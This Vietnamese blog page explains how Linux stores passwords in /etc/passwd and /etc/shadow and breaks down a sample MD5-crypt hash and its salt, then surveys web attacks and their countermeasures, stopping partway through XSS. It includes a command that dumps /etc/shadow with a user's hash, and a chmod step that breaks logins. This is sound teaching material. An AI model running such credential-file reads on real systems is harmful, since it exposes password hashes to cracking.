Keyz Cenly Blog

Tìm hiểu cách lưu trữ mật khẩu người dùng trên Linux

<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Nếu bạn là người quản trị hệ thống Linux thường xuyên thì việc login/logout vào hệ thống là điều mặc định hiển nhiên. Trên màn hình đăng nhập, Linux yêu cầu bạn nhập username/password, nếu bạn nhập chính xác thì bạn đăng nhập thành công vào hệ thống. Vậy điều gì đã xảy ra khi bạn nhập username/password, Linux xử lý dữ liệu đó như thế nào? mật khẩu người dùng lưu ở đâu? cơ chế xác thực như thế nào?</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Trong bài viết này, tôi tập trung vào tìm hiểu cách linux lưu trữ mật khẩu người dùng.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Trong Linux, file /etc/passwd là file lưu thông tin user của hệ thống, khi bạn tạo một user mới thì linux sẽ add thêm 1 bản ghi mới vào file này. Bạn dùng lệnh để show quyền truy cập file này thì thấy file này có 1 đặc điểm là tất cả người dùng trong hệ thống đều có thể đọc được (‘r’).</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># ll /etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">-rw-r--r-- 1 root root 1373 Apr  1 13:50 </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">/etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Điều này khá nhạy cảm vì thông tin user sẽ bị phơi bày trước bất kỳ user nào trong hệ thống. Tuy nhiên thuộc tính ‘r’ là cần thiết vì một số ứng dụng và tool hệ thống cần đọc file này thì mới chạy chính xác. Giả sử, tôi thay đổi quyền truy cập file này để chỉ có ‘root’ mới có quyền đọc.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># chmod 600 /etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># ll /etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">-rw------- 1 root root 1373 Apr  1 13:50 </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">/etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Bây giờ, điều gì sẽ xảy ra khi tôi chuyển sang một user thường có sẵn trên hệ thống:</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># su - mario</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">id</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">: cannot </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">find</code> <code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">name </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">for</code> <code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">user ID 500</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">id</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">: cannot </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">find</code> <code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">name </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">for</code> <code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">user ID 500</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[I have no name!@localhost ~]$</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Oh, tôi không thể thay đổi chuyển sang tài khoản có tên là mario, bới vì nó sẽ không đọc được file /etc/passwd nên không thể lấy thông tin username, home directory..của mario được lưu trữ trong file /etc/passwd.<br style="box-sizing: border-box;" />Nếu để password lưu trữ trong /etc/passwd thì cũng rất nguy hiểm, mặc dù có thể mã hóa mật khẩu bằng 1 thuật toán băm(Vì tất cả user trong hệ thống đều đọc được).</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Vì vậy, cần lưu trữ password người dùng trong 1 file mà chỉ ‘root’ mới đọc được. Giải pháp mà Linux đưa ra là bổ xung 1 file tên là /etc/shadow để lưu trữ mật khẩu người dùng. File /etc/shadow này chỉ truy cập được bởi ‘root’.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># ll /etc/shadow</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">-r-------- 1 root root 897 Apr  1 13:50 </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">/etc/shadow</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Bây giờ, thử xem nội dung file <strong style="box-sizing: border-box; color: black;">/etc/shadow</strong></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
<a href="http://securitydaily.net/wp-content/uploads/2014/04/shadow2.png" rel="lightbox[gallery-nOIe]" style="-webkit-transition: 300ms; box-sizing: border-box; color: #486493; text-decoration: none; transition: 300ms;"><img alt="Tìm hiểu cách lưu trữ mật khẩu người dùng trên Linux" class="aligncenter size-large wp-image-1899" src="http://securitydaily.net/wp-content/uploads/2014/04/shadow2-700x374.png" style="border: 0px; box-sizing: border-box; vertical-align: middle;" /></a></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># cat /etc/shadow</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">mario:$1$0XJ4dcSP$wpBqBzQSmIppMPEjeYP8K/:16161:0:99999:7:::</code></div>
<ol style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Trường đầu tiên, đó chính là username <span style="box-sizing: border-box; color: red;">mario</span></li>
<li style="box-sizing: border-box;">Trường thứ 2 đó là trường password đã được mã hóa <span style="box-sizing: border-box; color: red;">$1$0XJ4dcSP$wpBqBzQSmIppMPEjeYP8K/</span>. Đây chính xác là trường tôi cần quan tâm và cần khai thác ở bài post này.</li>
</ol>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Nội dung password đã được mã hóa <span style="box-sizing: border-box; color: red;">$1$0XJ4dcSP$wpBqBzQSmIppMPEjeYP8K/</span> có ý nghĩa gì?</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
- Trường đầu tiên, cho biết thuật toán sử dụng để băm(trong ví dụ này là 1 – MD5 hashing algorithm)</div>
<pre style="background-color: whitesmoke; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; line-height: 1.428571429; margin-bottom: 10px; padding: 9.5px 9.5px 9.5px 30px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"> $1 = MD5 hashing algorithm.
 $2 = Blowfish Algorithm is in use.
 $2a = eksblowfish Algorithm
 $5 = SHA-256 Algorithm
 $6 = SHA-512 Algorithm</pre>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
- Trường thứ 2 là một chuỗi dữ liệu ngẫu nhiên(random data hay còn gọi là salt) được sinh ra để kết hợp với mật khẩu người dùng(user password), để tăng sức mạnh băm(trong ví dụ này là <span style="box-sizing: border-box; color: #ff9900;">0XJ4dcSP</span>)</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
- Trường thứ 3 là giá trị băm của salt + user password(trong ví dụ này là <span style="box-sizing: border-box; color: #ff9900;">wpBqBzQSmIppMPEjeYP8K</span>/)</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Khi bạn login vào hệ thống, bạn nhập user/password. Hệ thống sẽ sử dụng giá trị salt của user + password mà bạn nhập vào để tạo ra 1 chuỗi mã hóa. Nếu chuỗi mã hóa này trùng với chuỗi mã hóa trong file /etc/shadow thì user login thành công.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Câu hỏi đặt ra là “<strong style="box-sizing: border-box; color: black;">Điều gì sẽ xảy ra nếu không có Salt</strong>?”.</div>
<div>
<br /></div>

Tìm hiểu cách lưu trữ mật khẩu người dùng trên Linux

Nếu bạn là người quản trị hệ thống Linux thường xuyên thì việc login/logout vào hệ thống là điều mặc định hiển nhiên. Trên màn hình đăng nh...

Một số phương thức tấn công ứng dụng web

<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Đối với các cơ quan, tổ chức website là kênh cung cấp thông tin hiệu quả và nhanh chóng nhất. Cũng chính đặc điểm này, các website thường xuyên là mục tiêu tấn công của tin tặc để khai thác đánh cắp các thông tin liên quan bên trong. Một trong những phương thức tấn công phổ biến là khai thác các lỗi bảo mật liên quan đến ứng dụng web.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Các lỗi bảo mật ứng dụng web là nguyên nhân chủ yếu gây ra các lỗi đối với website đang vận hành. Sau khi xác định các lỗi này, tin tặc sẽ sử dụng các kỹ thuật khác nhau để tiến hành khai thác hệ thống đích. Một số kỹ thuật thường được sử dụng: Buffer Overflows, SQL Injection, and Cross-site Scripting…Việc phân loại các kiểu tấn công thành các nhóm khác nhau sẽ giúp cho người quản trị dễ dàng xác định các nguy cơ cũng như biên pháp đối phó hơn.</div>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Tấn công Bruteforce</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Bruteforce là cách thức thử tất cả các khả năng có thể có để đoán các thông tin cá nhân đăng nhập: tài khoản, mật khẩu, số thẻ tín dụng…Nhiều hệ thống cho phép sử dụng mật khẩu hoặc thuật toán mã hóa yếu sẽ tạo điều kiện cho tin tặc sử dụng phương pháp tấn công này để đoán tài khoản và mật khẩu đăng nhập. Sau đó sử dụng các thông tin này để đăng nhập truy cập vào tài nguyên hệ thống.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Tăng cường độ mạnh cho mật khẩu (Độ dài ít nhất 6 ký tự, không chứa chuỗi username, chứa ít nhất 1 ký tự số, chứa ít nhất 1 ký tự đặc biệt, không cho phép thay đổi mật khẩu trùng lặp đã sử dụng, quản lý, điều khiển thông báo lỗi)</li>
<li style="box-sizing: border-box;">Sử dụng cơ chế chứng thực (Basic hoặc Digest Authentication)</li>
<li style="box-sizing: border-box;">Hạn chế số lần đăng nhập hoặc khóa tài khoản đăng nhập sai</li>
<li style="box-sizing: border-box;">Sử dụng module Mod_Dosevasive để xác định dấu hiệu của kiểu tấn công này.</li>
</ul>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Lỗi chứng thực yếu (Insufficient Authentication)</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Lỗi chứng thực yếu xuất hiện khi một website cho phép truy cập các nội dung, tài nguyên nhạy cảm mà không có đủ quyền. Các trang quản trị là một ví dụ dễ thấy nhất. Nếu không có cơ chế phân quyền hợp lý thư mục cũng như tài khoản đăng nhập trang quản trị này. Tin tặc hoàn toàn có khả năng vượt qua được cơ chế đăng nhập để chiếm quyền điều khiển trang này.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Thiết lập cơ chế điều khiển truy cập thông quan .htaccess hoặc tập tin cấu hình httpd.conf</li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Ví dụ: Điều khiển truy cập thông qua httpd.conf</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
<LocationMatch “^/admin/”></address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SSLRequireSSL</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
AuthType Digest</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
AuthName “Admin Area”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
AuthDigestfile /usr/local/apache/conf/passwd_digest</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
Require user admin</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
</LocationMatch></address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Dự đoán, chèn phiên (Credentical/Session Prediction)</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Dự đoán, chèn phiênlà một phương thức chiếm phiên (hijacking). Thông thường, khi một tài khoản thực hiện quá trình chứng thực đối với server (tài khoản/mật khẩu). Dựa vào các thông tin này, server sẽ tạo một giá trị session ID duy nhất để cho phép và duy trì kết nối. Nếu đoán được session ID kế tiếp thì tin tặc có khả năng chiếm phiên đăng nhập của người dùng hợp lệ khác.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Sử dụng SSL (<em style="box-sizing: border-box;">mod_ssl</em>) trong quá trình chứng thực để chống lại việc nghe lén dữ liệu quan trọng.</li>
<li style="box-sizing: border-box;">Sử dụng cơ chế tạo session ID ngẫu nhiên, thuật toán mã hóa mạnh.</li>
<li style="box-sizing: border-box;">Session ID phải đủ lớn để làm khó quá trình tấn công brute-fore.</li>
<li style="box-sizing: border-box;">Giới hạn thời gian tồn tại của session ID.</li>
</ul>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">XSS – Cross-Site Scripting</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
XSS là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Tin tặc tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP …) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML</div>
